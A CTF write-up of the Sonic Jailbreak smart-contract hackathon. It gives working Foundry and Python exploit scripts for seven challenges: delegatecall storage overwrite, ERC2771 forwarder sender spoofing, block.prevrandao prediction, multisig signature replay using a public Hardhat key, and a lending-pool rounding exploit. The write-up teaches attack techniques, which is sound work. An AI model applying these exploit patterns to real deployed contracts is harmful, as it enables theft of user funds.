Home (CTF) Sonic Jailbreak hackathon writeup
Post
Cancel

(CTF) Sonic Jailbreak hackathon writeup

I played the Sonic Jailbreak hackathon with @yanhui. Only one team that completed all challenges could receive half of the prize (total 55,000 S tokens). We expected a lot of competition, but we were the only team that solved all challenges :d

The interesting part was pot contract. After solving each challenge, the challenge contract calls addPoints function in pot contract, and when a user reaches 200 points, they can call the claimWin function to get an NFT token. But that doesn’t mean we can withdraw the prize :d we received the prize after a month

You can check the info&challenges here

blog.soniclabs.com/sonic-summit-jailbreak-hackathon-2025-users-vs-developers

github.com/cantinasec/vienna_hackathon_2025

All the transaction hashes can be found in sonicscan.org

Eu Tu Proxy?

challenge link


Transaction hash: 0x5bcd073052cfaafda0b38ee976d6612f937c967112651cbc9510b8203eabfc6e, 0xf1f8616a6ac71d852d17d82f63fd943760d3e88b1f82e6c76909c03c78d8c015

  • exploit code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
      // SPDX-License-Identifier: UNLICENSED
      pragma solidity ^0.8.13;
        
      import {Script, console} from "forge-std/Script.sol";
        
      import {ChallengeEasy4} from "../vienna_hackathon_2025/EU_TU_PROXY/Challenge_Easy_4.sol";
        
      contract Easy4Script is Script {
        
          function run() public {
              vm.startBroadcast();
              address player = vm.envAddress("PLAYER");
              address chall = 0xb73E7da3fA04A37bbE6be13CA4f1eC68b82a8A26;
        
              (bool success, bytes memory data) = address(chall).call(abi.encodePacked(uint256(uint160(player))));
              console.log("success", success);
        
              ChallengeEasy4(payable(chall))._0x57c1669d();
        
              vm.stopBroadcast();
          }
      }
    
  • writeup

    https://bytegraph.xyz/bytecode/99a1c71abec5535cab31f24ea01db84c/graph the slot 1 address has code that sets the slot 2 to calldata, so using fallback to delecatecall slot 1 address, set slot 2 to my address and call _0x57c1669d to claim the points

MIGHTY’s IDENTITY CRISIS

challenge link


Transaction hash: 0x15229302aaf7f9f7d1f4473342985ca951829fbcbd56f7129fd2c86c2af78bec

  • exploit code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    
      import "@openzeppelin/contracts/metatx/ERC2771Forwarder.sol";
      import "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
        
      contract Easy1Script is Script {
        
          function run() public {
              vm.startBroadcast();
              address player = vm.envAddress("PLAYER");
              uint256 priv = vm.envUint("PLAYER_PRIV_KEY");
        
              address chall = 0x1237B533A88612E27aE447f7D84aa7Eb6722e39D;
              ERC2771Forwarder forwarder = ERC2771Forwarder(0x141Fb23a7087ebb9858FEDC320DE5371C7e84cA2);
        
              ERC2771Forwarder.ForwardRequestData memory req = ERC2771Forwarder.ForwardRequestData(
                  player, // from
                  address(chall),   // to
                  0,  // value
                  300000, // gas
                  uint48(block.timestamp + 1 minutes),  // deadline
                  abi.encodeWithSignature("solve()"),
                  new bytes(0) // signature
              );
        
              bytes32 separator = keccak256(
                  abi.encode(
                      keccak256(
                          "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
                      ),
                      keccak256(bytes("Forwarder")),
                      keccak256(bytes("1")),
                      146,
                      address(forwarder)
                  )
              );
              bytes32 forwarderTypeHash = keccak256(
                  "ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,uint48 deadline,bytes data)"
              );
              bytes32 digest = MessageHashUtils.toTypedDataHash(
                  separator,
                  keccak256(
                      abi.encode(
                          forwarderTypeHash,
                          req.from,
                          req.to,
                          req.value,
                          req.gas,
                          0,
                          req.deadline,
                          keccak256(req.data)
                      )
                  )
              );
              (uint8 v, bytes32 r, bytes32 s) = vm.sign(priv, digest);
              bytes memory signature = abi.encodePacked(r, s, v);
              req.signature = signature;
        
              forwarder.execute(req);
        
              vm.stopBroadcast();
          }
      }
    
  • writeup

    The onlyContract() checks the msg.sender, while _msgSender() that is passed to the pot.addPoints() can be set by the forwarder. Use the forwarder to call solve(), the forwarder can pass the onlyContract check, while the player gets the point.

FANG’s POWER-BALL PARADISE

challenge link


Transaction hash: 0x01c8ee047215fd44153b123865621321dc0bcd821eb13510da7624675200cba6

0x9bd6f3b4780c7d1177a35e52c32da3b72e162f9098a6f8a0bb1530c39bdc8e47

0x7c6729492af2227806d068f9833be62b56786e9563a7161c96ae20a876b39f05

0x9b8540cfdbb807b9be11c96bcdbdc1d60de79a1e9f9fb02255fa758792960b8a

0xa7b0eaa90e6382c7faea7d5b990a6a3fb759fbeb47fd3398a4ffdddd0fce1588

0xce3210bc8911c49c247f9c91d97b4e762387ce98a2a2c0fa074df06aadb755cf

0x459aafa8ad62d29f6e0f010ec132245e1322650033d19388641131d232e19cb8

0xc0fe24a8c215e37189e6c429c162aa0ffba0225b532a71f5e41236bb1d05c749

0xb9a49731f81510a690a21881ba0a5412c749cb6f45dcadaa395965947281add1

0x63e2612b8a5451b400579ccc3b39ea4bd746e1b3dd80174a4148aacb3ee9813f

0x542eb5c6f43f0175133ef83e02bbe770cc3d1ea26ae00133d80205d84f5a9f1c

  • exploit code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
      contract Helper {
          bytes32 constant separator = 0xb0b9bfbe3cefbfdc6d6872e4aff4cb89d1b82df01a5fc1446178b784a19efd3c;
          bytes32 constant forwarderTypeHash = 0x7f96328b83274ebc7c1cf4f7a3abda602b51a78b7fa1d86a2ce353d75e587cac;
          ERC2771Forwarder public forwarder;
        
          constructor(ERC2771Forwarder _forwarder) {
              forwarder = _forwarder;
          }
        
          function getHash(address from, address to, uint nonce, uint48 deadline, bytes calldata data) public view returns (bytes32) {
              return MessageHashUtils.toTypedDataHash(
                  separator,
                  keccak256(
                      abi.encode(
                          forwarderTypeHash,
                          from,
                          to,
                          0,
                          300000,
                          nonce,
                          deadline,
                          keccak256(data)
                      )
                  )
              );
          }
        
          function helpCall(ERC2771Forwarder.ForwardRequestData memory req, uint256 guess) public {
              if (block.prevrandao % 26 == guess) {
                  forwarder.execute(req);
                  return;
              }
              revert("Not matched");
          }
      }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    
      from cheb3 import Connection
      from cheb3.utils import load_compiled, encode_with_signature
      from eth_account import Account
        
      from datetime import datetime, timezone
        
      conn = Connection("https://rpc.soniclabs.com/")
      account = conn.account("<pk>")
      challenge = "0x786BeE5292B12AA79725cb66f0CBfb7E10A6CAc9"
      forwarder_addr = "0xEC83A9D2a4D1fbd20b062297a1996F17803Ee4A4"
        
      helper_abi, helper_bin = load_compiled("PoC.t.sol", "Helper")
      helper = conn.contract(account, abi=helper_abi, bytecode=helper_bin)
      helper.deploy(forwarder_addr)
        
      forwarder_abi, _ = load_compiled("ERC2771Forwarder.sol")
      forwarder = conn.contract(account, abi=forwarder_abi, address=forwarder_addr)
        
      nonce = 0
        
      def sign(f, to, deadline, d):
          global nonce
          digest = helper.caller.getHash(
              f,
              to,
              nonce,
              deadline,
              d
          )
          sig = Account._sign_hash(digest, account.private_key).signature
          return sig
        
      def sign_and_execute(f, to, t, d):
          global nonce
          deadline = int(datetime.now(timezone.utc).timestamp()) + t
          sig = sign(f, to, deadline, d)
          forwarder.functions.execute(
              (f, to, 0, 300000, deadline, d, sig)
          ).send_transaction()
          nonce += 1
        
      for i in range(5):
          sign_and_execute(
              account.address,
              challenge,
              60,
              encode_with_signature(
                  "start(uint256)",
                  3
              )
          )
        
          deadline = int(datetime.now(timezone.utc).timestamp()) + 600
          sig = sign(account.address, challenge, deadline, encode_with_signature("solve()"))
          print(f"deadline: {deadline}")
          print(f"sig: {sig.hex()}")
          nonce += 1
          while True:
              try:
                  helper.functions.helpCall(
                      (account.address, challenge, 0, 300000, deadline, encode_with_signature("solve()"), sig), 3
                  ).send_transaction()
                  break
              except Exception as e:
                  print(e)
                  pass
            
          print(conn.cast_call(challenge, "winnings(address)(uint256)", account.address))
    
  • writeup

    Contracts in the same block use the same block.prevrandao. Based on the use of the forwarder in Easy 1, use a helper function to determine whether to call the challenge contract based on the random result.

Fang’s venom

challenge link


Transaction hash: 0x84758cfe94c3f8227d132fbcc616293043946049f1ef9088768c33358080bdc3

  • exploit code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
      // SPDX-License-Identifier: UNLICENSED
      pragma solidity ^0.8.13;
        
      import {Script, console} from "forge-std/Script.sol";
      // import {Vyper} from "./Vyper.sol";
      import {ChallengeMedium2} from "../vienna_hackathon_2025/FANG'S_VENOM/Challenge_Medium_2.sol";
        
      contract Medium2 is Script {
          address private deployer = 0x7b7DC09643302549d633b45c901B9051E2354388;
          function run() public {
              vm.startBroadcast();
        
              ChallengeMedium2 chall = ChallengeMedium2(payable(0x8919B92F52bb8C1aF7C9AFeE2Bdd179d3272919e));
        
              bytes32 a = 0x55cbd873780b8e356293a84679964e6f57000d1486874bf0a39aeba0a5715cd4;
              uint256 b = 0xd1b;
        
              chall.imadeadbeef(a,b);
        
              vm.stopBroadcast();
          }
      }
    
  • writeup

    the imadeadbeef function requires two parameters, it concats two params and hash, then compares with value at storage 4 (0x98de0bff1fd1afdd3978d3dc3a57fc8af4b4d05ca4d23f4ec3593c0276ce0eb9)

    tried some values and found codehash and codesize were the correct answer

Metal Knuckle’s Permissions

challenge link


Transaction hash: 0xf6e08f017f68efd3ab95c98628f6d404a61cfad69ba51eb7d81739eb710f1ccb

  • exploit code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    
      contract MetalKnuckle is Script {
          function run() public {
              vm.startBroadcast();
              address deploy = 0x6Dd509F963820F3950A56E3C0ABECdF8b3e92434;
              address addr = 0x702105690fCbfC7588254bA71f0EEA60663c2534;
              address signer = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
              uint256 signer_private_key = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;
              bytes32 message = keccak256(abi.encodePacked(bytes32(uint256(uint160(signer))), bytes32(uint256(uint160(addr)))));
              (uint8 v, bytes32 r, bytes32 s) = vm.sign(signer_private_key, message);
              IPermitToReenter.Sig[] memory sig = new IPermitToReenter.Sig[](3);
              sig[0] = IPermitToReenter.Sig({_index: 1, hashed: message, v: v, r: r, s: s});
              sig[1] = IPermitToReenter.Sig({_index: 1, hashed: message, v: v, r: r, s: s});
              sig[2] = IPermitToReenter.Sig({_index: 1, hashed: message, v: v, r: r, s: s});
              IPermitToReenter(deploy).multisig(sig);
              vm.stopBroadcast();
          }
      }
    
  • writeup searched 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 address in google, and found a private key https://ethereum.stackexchange.com/questions/94886/hardhat-local-network-keys-generation so we could sign arbitrary message and sent same signed messages in multisig function to solve.

Vector’s 3-Bit Surfer Island

challenge link


Transaction hash: 0x68bb55ae163d192fe9d65e8dfafc91b3c6d9ac3d9b668661419dcf389a41031b

  • exploit code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
      import {Script} from "forge-std/Script.sol";
      import {console} from "forge-std/console.sol";
      contract Hard2Script is Script {
        
          function run() public {
              vm.startBroadcast();
        
              address chall = 0x4328B9410575a383349F2e88644C933F91c6A5C6;
        
              bytes memory data = abi.encodePacked(
                  bytes4(hex"00000000"),
                  uint256(27684352554021427800379120908796796058859940284427164423451880434819558757544),
                  uint256(43736918673050163201934668174654671028240)
              );
        
              (bool success, bytes memory result) = chall.call(data);
              require(success, "Call failed");
        
              console.logBytes(result);
        
              vm.stopBroadcast();
          }
      }
    
  • writeup

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    354
    355
    356
    357
    358
    359
    360
    361
    362
    363
    364
    365
    366
    367
    368
    369
    370
    371
    372
    373
    374
    375
    376
    377
    378
    379
    380
    381
    382
    383
    384
    385
    386
    387
    388
    389
    390
    391
    392
    393
    394
    395
    396
    397
    398
    399
    400
    401
    402
    403
    404
    405
    406
    407
    408
    409
    410
    411
    412
    413
    414
    415
    416
    417
    418
    419
    420
    421
    422
    423
    424
    425
    426
    427
    428
    429
    430
    431
    432
    433
    434
    435
    436
    437
    438
    439
    440
    
      from eth_hash.auto import keccak
      from eth_utils import to_bytes, int_to_big_endian
        
      # Constants from Core.huff
      ACTION_NONE = 0x0    # keep current lane, no vertical move
      ACTION_UP = 0x1      # move to lane above (index-1)
      ACTION_DOWN = 0x2    # move to lane below (index+1)
      ACTION_JUMP = 0x3    # jump over a ROCK
      ACTION_DODGE = 0x4   # slide under a WIRE
        
      LANE_EMPTY = 0x0
      LANE_WALL = 0x1
      LANE_ROCK = 0x2
      LANE_WIRE = 0x3
        
      # Constants from Main.huff
      POT_ADDRESS = 0x1234567890abcdef1234567890abcdef12345678
      ADDPOINTS_SELECTOR = 0xad7b985e
      # SEED = 0x51716105bf233e10fe12591e77e79e0718d782d0de6dcc5bf0a6b49c625b6690
      def _get_front_obstacle(current_lane, lanes):
          """Get obstacle in the current lane from lanes bitmap"""
          if current_lane == 0x1:
              return (lanes & 0x7)
          elif current_lane == 0x2:
              return ((lanes >> 3) & 0x7)
          elif current_lane == 0x3:
              return ((lanes >> 6) & 0x7)
          return 0
        
      def decode_obstacle(pos, seed):
          """Extract obstacle code at a given position from seed"""
          mask = 0x7 << (3 * pos)
          return (seed & mask) >> (3 * pos)
        
      def encode_obstacle(code):
          """Encode obstacle code into lanes bitmap"""
          lanemask = (0x862311 >> (code*3)) & 0x7
          value = code//3 + 1
          lane1 = (lanemask & 1) * value
          lane2 = ((lanemask >> 1) & 1) * value
          lane3 = ((lanemask >> 2) & 1) * value
          return lane1 | (lane2 << 3) | (lane3 << 6)
        
      def build_lane(pos, seed):
          """Build lane from position and seed"""
          obstacle = decode_obstacle(pos, seed)
          return encode_obstacle(obstacle)
        
      def join_lane(offset, lanes_b, lanes_a):
          """Join two lane bitmaps based on offset"""
          mask = 0x7 << offset
          a_masked = lanes_a & mask
          b_masked = lanes_b & mask
          a_shifted = a_masked >> offset
          b_shifted = b_masked >> offset
          return select(b_shifted, a_shifted)
        
      def select(b, a):
          """Select between two values based on if a is zero"""
          mask = 1 if a == 0 else 0
          return (b * mask) + (a * (1 - mask))
        
      def build_tracks(pos, seed_b, seed_a):
          """Build combined tracks from seeds"""
          lanes_b = build_lane(pos, seed_b)
          lanes_a = build_lane(pos, seed_a)
            
          lane1 = select(lanes_b & 0x7, lanes_a & 0x7)
          lane3 = join_lane(0x6, lanes_b, lanes_a)
          lane2 = join_lane(0x3, lanes_b, lanes_a)
            
          return lane1 | (lane2 << 3) | (lane3 << 6)
        
      def get_action(pos, actions):
          """Get action for the current position"""
          mask = 0x7 << (pos * 3)
          return ((actions & mask) >> (pos * 3)) & 0x7
        
      def get_seeds(seed):
          """Generate two seeds from input seed"""
          seed = hex(seed)
          sender_as_int = 0x702105690fCbfC7588254bA71f0EEA60663c2534
          packed_data = int_to_big_endian(sender_as_int).rjust(32, b'\0') + to_bytes(hexstr=seed)
          seed_a = '0x' + keccak(packed_data).hex()
          seed_b = '0x' + keccak(to_bytes(hexstr=seed_a)).hex()
          print(seed_a)
          print(seed_b)
          seed_a = int(seed_a, 16)
          seed_b = int(seed_b, 16)
          return seed_b, seed_a
        
      def update_current_lane(user_action, current_lane):
          """Update player's current lane based on action"""
          lane_change = 0
          if user_action == ACTION_UP:
              lane_change = -1
          elif user_action == ACTION_DOWN:
              lane_change = 1
            
          new_lane = current_lane + lane_change
            
          # Validate lane bounds (1-3)
          if not (0 < new_lane <= 3):
              raise ValueError("Invalid lane position")
            
          return new_lane
        
      def validate_move(user_action, obstacle):
          """Validate if move is valid against obstacle"""
          # Can't move into a wall
          if obstacle == LANE_WALL:
              raise ValueError("Cannot move into a wall")
            
          # Must jump over rocks
          if obstacle == LANE_ROCK and user_action != ACTION_JUMP:
              raise ValueError("Must jump over rocks")
            
          # Must dodge under wires
          if obstacle == LANE_WIRE and user_action != ACTION_DODGE:
              raise ValueError("Must dodge under wires")
        
      def solve_position(current_lane, action, lanes):
          """Solve one position update"""
          new_lane = update_current_lane(action, current_lane)
          obstacle = _get_front_obstacle(new_lane, lanes)
          validate_move(action, obstacle)
          return new_lane
        
      def solve(actions, seed_b, seed_a, pos, current_lane):
          """Solve game state for one step"""
          action = get_action(pos, actions)
          new_pos = pos + 1
          lanes = build_tracks(pos, seed_b, seed_a)
          new_lane = solve_position(current_lane, action, lanes)
          return actions, seed_b, seed_a, new_pos, new_lane
        
      def get_obstacle_decompressed(obstacle):
          """Decompress obstacle into individual lanes"""
          lanes = encode_obstacle(obstacle)
          lane1 = lanes & 0x7
          lane2 = (lanes >> 3) & 0x7
          lane3 = (lanes >> 6) & 0x7
          return lane3, lane2, lane1
        
      def add_points(caller_address):
          """Call contract to add points (simulated)"""
          # This would normally make an external contract call
          print(f"Adding points for {caller_address}")
          return True
        
      def main(seed, actions):
          """Main function that processes the entire game"""
          seed_b, seed_a = get_seeds(seed)
          pos = 0
          current_lane = 2  # Start in the middle lane
            
          # Loop until we reach position 48
          while pos < 48:
              actions, seed_b, seed_a, pos, current_lane = solve(actions, seed_b, seed_a, pos, current_lane)
            
          # Add points when complete
          caller_address = "0xYourAddressHere"  # This would normally be msg.sender
          add_points(caller_address)
            
          return True
        
      import random
      import hashlib
        
      # Add this function to visualize the game
      def visualize_game(seed, actions=None):
          """Generate and visualize a random game track"""
          if actions is None:
              # Generate empty actions (all 0s)
              actions = 0
            
          seed_b, seed_a = get_seeds(seed)
            
          # Display header
          print("=" * 50)
          print(f"Game with seed: {seed}")
          print("=" * 50)
            
          # Symbol mapping
          symbols = {
              LANE_EMPTY: " ",  # Empty space
              LANE_WALL: "█",   # Wall
              LANE_ROCK: "O",   # Rock
              LANE_WIRE: "~"    # Wire
          }
            
          # Generate and display each position
          current_lane = 2  # Start in middle lane
          player_positions = []
            
          for pos in range(48):  # 48 positions total
              lanes = build_tracks(pos, seed_b, seed_a)
                
              # Extract lane contents
              lane1 = lanes & 0x7
              lane2 = (lanes >> 3) & 0x7
              lane3 = (lanes >> 6) & 0x7
                
              # Store information about the current position
              if actions != 0:
                  action = get_action(pos, actions)
                  try:
                      # Simulate movement if actions are provided
                      current_lane = update_current_lane(action, current_lane)
                      obstacle = _get_front_obstacle(current_lane, lanes)
                      validate_move(action, obstacle)
                      player_positions.append((pos, current_lane))
                  except ValueError as e:
                      print(f"Game over at position {pos}: {e}")
                      break
                
              # Print the lanes
              lane_display = [
                  f"Lane 1: {symbols[lane1]}",
                  f"Lane 2: {symbols[lane2]}",
                  f"Lane 3: {symbols[lane3]}"
              ]
                
              # Add player marker if we're tracking actions
              if actions != 0 and (pos, current_lane) in player_positions:
                  lane_display[current_lane-1] += " <Player>"
                    
              print(f"Position {pos}:")
              for lane in lane_display:
                  print(lane)
              print()
        
      def generate_random_seed():
          """Generate a random seed for the game"""
        
          # return SEED
          return 27684352554021427800379120908796796058859940284427164423451880434819558757544
          return random.randint(0, 2**256 - 1)
        
      def visualize_compact(seed, length=48):
          """Generate a more compact visualization of the game track"""
          seed_b, seed_a = get_seeds(seed)
            
          # Symbol mapping
          symbols = {
              LANE_EMPTY: "·",  # Empty space
              LANE_WALL: "█",   # Wall
              LANE_ROCK: "O",   # Rock
              LANE_WIRE: "~"    # Wire
          }
            
          # Display header
          print("=" * 50)
          print(f"Game with seed: {seed}")
          print("=" * 50)
            
          # Build the track visualization
          track = [["" for _ in range(length)] for _ in range(3)]
            
          for pos in range(length):
              lanes = build_tracks(pos, seed_b, seed_a)
                
              # Extract lane contents
              track[0][pos] = symbols[lanes & 0x7]           # Lane 1
              track[1][pos] = symbols[(lanes >> 3) & 0x7]    # Lane 2
              track[2][pos] = symbols[(lanes >> 6) & 0x7]    # Lane 3
            
          # Print the track
          print("Lane 1: " + "".join(track[0]))
          print("Lane 2: " + "".join(track[1]))
          print("Lane 3: " + "".join(track[2]))
          print()
        
      def is_solvable(seed):
          """Determine if the maze can be solved with the given seed"""
          seed_b, seed_a = get_seeds(seed)
          pos = 0
          current_lane = 2  # Start in middle lane
            
          print("Checking if maze is solvable...")
            
          # Try to navigate through all positions
          while pos < 48:
              lanes = build_tracks(pos, seed_b, seed_a)
                
              # Try all possible actions
              solvable_position = False
              best_action = None
                
              for action in [ACTION_NONE, ACTION_UP, ACTION_DOWN, ACTION_JUMP, ACTION_DODGE]:
                  try:
                      new_lane = update_current_lane(action, current_lane)
                      obstacle = _get_front_obstacle(new_lane, lanes)
                      validate_move(action, obstacle)
                        
                      # Found a valid move
                      solvable_position = True
                      best_action = action
                      current_lane = new_lane
                      break
                  except ValueError:
                      continue
                
              if not solvable_position:
                  print(f"No valid move found at position {pos}")
                  return False
                
              # Move to next position
              pos += 1
            
          print("Maze is solvable!")
          return True
        
      def find_solution_dfs(seed):
          """Find a solution for the maze using Depth-First Search"""
          seed_b, seed_a = get_seeds(seed)
            
          def dfs(pos, current_lane, actions_so_far=0):
              # If we reached the end, we've found a solution
              if pos >= 48:
                  return actions_so_far
                
              # Get the current track layout
              lanes = build_tracks(pos, seed_b, seed_a)
                
              # Try each possible action in order
              for action in [ACTION_NONE, ACTION_UP, ACTION_DOWN, ACTION_JUMP, ACTION_DODGE]:
                  try:
                      # Check if this action is valid
                      new_lane = update_current_lane(action, current_lane)
                      obstacle = _get_front_obstacle(new_lane, lanes)
                      validate_move(action, obstacle)
                        
                      # Valid move found, add this action to our solution
                      new_actions = actions_so_far | (action << (pos * 3))
                        
                      # Explore this path further
                      result = dfs(pos + 1, new_lane, new_actions)
                        
                      # If we found a solution down this path, return it
                      if result is not None:
                          return result
                        
                  except ValueError:
                      # Invalid move, try next action
                      continue
                
              # No solution found from this position
              return None
            
          # Start DFS from position 0, middle lane
          print("Searching for solution with DFS...")
          solution = dfs(0, 2)
            
          if solution is not None:
              print("Solution found!")
              return solution
          else:
              print("No solution exists.")
              return None
        
      def solution_to_action_array(solution):
          """Convert a solution integer to an array of 3-bit action values"""
          actions = []
            
          for pos in range(48):
              # Extract the 3-bit action at this position
              action = get_action(pos, solution)
              actions.append(action)
            
          return actions
        
      def print_solution_as_array(solution):
          """Print the solution as an array of actions with their names"""
          global action_array
          action_array = solution_to_action_array(solution)
            
          # Action name mapping
          action_names = {
              ACTION_NONE: "NONE",
              ACTION_UP: "UP",
              ACTION_DOWN: "DOWN",
              ACTION_JUMP: "JUMP",
              ACTION_DODGE: "DODGE"
          }
            
          # Print array format
          print("Solution as 3-bit action array:")
          print("[", end="")
            
          for i, action in enumerate(action_array):
              if i > 0:
                  print(", ", end="")
                
              # Print position, action value, and name
              print(f"{action}", end="")
            
          print("]")
            
          # Print with action names for readability
          print("\nSolution with action names:")
          for pos, action in enumerate(action_array):
              print(f"Position {pos}: {action} ({action_names.get(action, 'UNKNOWN')})")
        
      # Main script to generate and visualize a game
      if __name__ == "__main__":
          # Generate a random seed
          random_seed = generate_random_seed()
          print(f"Generated random seed: {random_seed}")
            
          # Visualize the game in compact format
          visualize_compact(random_seed)
            
          # Try to find a solution using DFS
          solution = find_solution_dfs(random_seed)
            
          if solution:
              print_solution_as_array(solution)
                
              # Convert solution to hex string with 0 padding
              # Each byte can hold 2 full 3-bit actions (with 2 bits left over)
              hex_bytes = []
              for i in range(0, 48, 2):
                  if i + 1 < 48:
                      # Two full actions in one byte
                      byte_val = action_array[i] | (action_array[i+1] << 3)
                  else:
                      # Last action if odd number
                      byte_val = action_array[i]
                  hex_bytes.append(byte_val)
              print(action_array)
              bits = ""
              for i in range(len(action_array)):
                  bits = format(action_array[i], '03b') + bits
              print(bits)
              # Format as hex bytes
              hex_solution = '0x' + ''.join(f'{b:02x}' for b in hex_bytes)
              print(f"Compact hex representation: {hex_solution}")
          else:
              print("No solution found. Maze is unsolvable.")
    

    convert huff code to python after analysis, get a valid seed that generates solvable maze with several attempts and solve maze with dfs

Knuckle’s Lending Pool

challenge link


Transaction hash: 0xff54c7887ecc944044798d87c0721b093f1062f63dee5c9e98af0820148ef8ef 0x0a4229073cffec2cf974f62af619478de5925056edeb8385e5510098d4ac3206 0xcd112332f54f7f14478966e64d7a4b2ffde7e24cfabf511619a96944bbff8f07

  • exploit code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
      contract Hard1Script is Script {
        
          function run() public {
              vm.startBroadcast();
                
              ChallengeHard1 chall = ChallengeHard1(payable(0x68283749b8933E57fdBCA021fcCa03bcfB539199));
        
              chall.ingressLiquidity{value: 1 ether + 1000}();
              chall.egressLiquidity(1 ether + 1000);
              chall.verifySystemCompletion();
        
              vm.stopBroadcast();
          }
      }
    
  • writeup

    There is a precision loss in vaultLib.calcAssetForWithdrawals(). So, the amount required to burn will be much less than the metric’s deducted amount. In this case, after burning, the metric becomes zero, while the user still holds some tokens.

This post is licensed under CC BY 4.0 by the author.
Trending Tags